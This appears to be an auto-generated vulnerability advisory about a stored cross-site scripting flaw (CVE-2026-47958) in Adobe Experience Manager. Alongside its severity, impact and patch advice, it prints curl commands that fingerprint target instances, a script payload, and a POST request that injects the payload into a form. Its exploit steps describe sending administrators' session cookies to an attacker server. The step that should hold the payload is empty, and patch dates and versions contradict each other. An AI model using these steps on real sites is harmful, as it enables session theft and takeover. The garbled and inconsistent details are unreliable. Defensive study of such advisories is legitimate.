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CVE-2026-47958 is a stored Cross-Site Scripting (XSS) vulnerability affecting Adobe Experience Manager (AEM) versions 6.5.24, LTS SP1, 2026.04, and all earlier releases. This flaw allows a low-privileged attacker to inject malicious JavaScript into vulnerable form fields.
The core of this vulnerability lies in insufficient input sanitization within AEM’s form-handling components. A low-privileged user, such as a contributor or author, can craft a payload containing JavaScript code and submit it through a form field that lacks proper encoding or filtering. When an administrator or any other victim with higher privileges later views the page containing this injected content, the malicious script executes within their browser context.
The attack vector is network-based (AV:N), requiring low attack complexity (AC:L) and low privileges (PR:L). User interaction is required (UI:R) as the victim must browse to the affected page. The scope is changed (S:C), meaning the successful exploit can impact resources beyond the vulnerable component’s original security context.
The impact on confidentiality and integrity is low (C:L/I:L), but the attacker can steal session tokens, perform unauthorized actions on behalf of the victim, or deface the AEM instance. AEM’s default WYSIWYG editors and custom form components are common injection points.
Adobe has acknowledged this issue and released a security bulletin. Administrators should prioritize upgrading to AEM version 6.5.25 or later, or apply the vendor-provided hotfix.
DailyCVE Form
Platform: Adobe Experience Manager
Version: 6.5.24, LTS SP1, 2026.04
Vulnerability: Stored Cross-Site Scripting
Severity: MEDIUM (5.4 CVSS)
Date: 2026-06-09
Prediction: 2026-06-16 (expected patch)
What Undercode Say
Identify vulnerable AEM instances using HTTP response headers
curl -I https://target-aem.com/libs/granite/core/content/login.html | grep "X-Content-Type-Options"
Enumerate AEM version via /system/console/status-ProductInfo
curl -s https://target-aem.com/system/console/status-ProductInfo | grep "Adobe Experience Manager"
Craft a basic XSS payload for form fields
PAYLOAD='<script>alert("CVE-2026-47958")</script>'
Submit payload to a vulnerable form field (example using a form with field ID "description")
curl -X POST https://target-aem.com/content/path/to/form \
-d "fieldId=description&value=${PAYLOAD}" \
-H "Content-Type: application/x-www-form-urlencoded"
Monitor logs for successful injection attempts
tail -f /opt/aem/crx-quickstart/logs/error.log | grep -i "xss"
Exploit
An attacker with low privileges (e.g., content author) can inject a stored XSS payload into a form field such as a comment box, description field, or custom metadata input. When a higher-privileged user (e.g., administrator) views the page containing the unsanitized input, the payload executes. Example exploitation steps:
1. Log in to AEM as a low-privileged user.
2. Identify a form field that reflects user input without proper encoding.
3. Submit a payload: `
`.
- Wait for an administrator to browse the page; the administrator’s session cookies are sent to the attacker’s remote server.
Protection
- Upgrade to AEM version 6.5.25, LTS SP2, 2026.05, or later.
- Apply the official security hotfix from Adobe (APSB26-42).
- Enable Content Security Policy (CSP) headers to restrict script execution.
- Use output encoding libraries (e.g., OWASP Java Encoder) in custom AEM components.
- Disable unnecessary form components and enforce strict input validation.
- Regularly audit AEM instances for vulnerable extensions.
Impact
- Confidentiality: Low – The attacker can exfiltrate sensitive data such as session cookies or CSRF tokens, leading to account takeover.
- Integrity: Low – The attacker can modify page content via the victim’s session, defacing the AEM instance or altering displayed information.
- Availability: None – The vulnerability does not directly impact service availability.
- Scope Changed: Yes – The execution occurs in a different security context (browser of a higher-privileged user), amplifying the potential damage.
- Overall Business Impact: Unauthorized access to administrative functions, potential data breach, and reputational damage.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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